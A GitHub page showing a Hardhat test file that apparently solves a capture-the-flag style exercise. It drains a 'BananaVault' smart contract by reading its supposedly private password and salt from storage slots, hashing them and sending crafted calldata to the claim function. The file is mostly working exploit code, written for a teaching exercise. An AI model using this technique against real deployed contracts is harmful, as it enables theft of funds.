-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathExercise2.ts
More file actions
71 lines (61 loc) · 2.45 KB
/
Exercise2.ts
File metadata and controls
71 lines (61 loc) · 2.45 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import { ethers, upgrades } from 'hardhat'
import { expect } from 'chai'
import { formatEther, parseEther, concat } from 'ethers'
describe('Exercise 2', () => {
it('should drain BananaVault', async () => {
const [exploiter] = await ethers.getSigners()
const contractAddress = '0x5f1b1316D1cB4f497c0409Ae86153DE215A238C7'
// const contract = await ethers.getContractAt('BananaVault', contractAddress)
const contractBalanceBeforeAttack = await ethers.provider.getBalance(
contractAddress
)
console.log(
`Contract ${contractAddress} balance before attack: ${formatEther(
contractBalanceBeforeAttack
)}`
)
// `hiddenPassword_HWFGG` is private and cannot be accessed directly through the contract,
// but it can be retrieved from the contract's storage.
// Since it is of type uint256, it is fully stored in the first slot (position = 0) of the contract's storage.
const hiddenPasswordData = BigInt(
await ethers.provider.getStorage(contractAddress, 0)
)
// Since `salt_HNGMID` is of type uint256,
// it is fully stored in the second slot (position = 1) of the contract's storage.
const saltData = BigInt(
await ethers.provider.getStorage(contractAddress, 1)
)
// uint256(keccak256(abi.encode(hiddenPassword_HWFGG + salt_HNGMID)))
const password = ethers.keccak256(
ethers.AbiCoder.defaultAbiCoder().encode(
['uint256'],
[hiddenPasswordData + saltData]
)
)
const functionSignature = 'claimBanana_QTBNFS(uint256)'
const functionSelector = ethers
.keccak256(ethers.toUtf8Bytes(functionSignature))
.slice(0, 10) // First 4 bytes of the hash ("0x" + 8 characters)
const argumentData = password.slice(2) // Remove the 0x prefix
// 0x2e69c18c + c25b6056c19405007c3150c26342dafe26797e4b5f3bbe814871c3a16c9ffd62
const data = functionSelector + argumentData // Combine the selector and encoded arguments
await expect(
exploiter.sendTransaction({
to: contractAddress,
data,
value: parseEther('0')
})
).to.changeEtherBalances(
[exploiter.address, contractAddress],
[contractBalanceBeforeAttack, -contractBalanceBeforeAttack]
)
const contractBalanceAfterAttack = await ethers.provider.getBalance(
contractAddress
)
console.log(
`Contract ${contractAddress} balance after attack: ${formatEther(
contractBalanceAfterAttack
)}`
)
})
})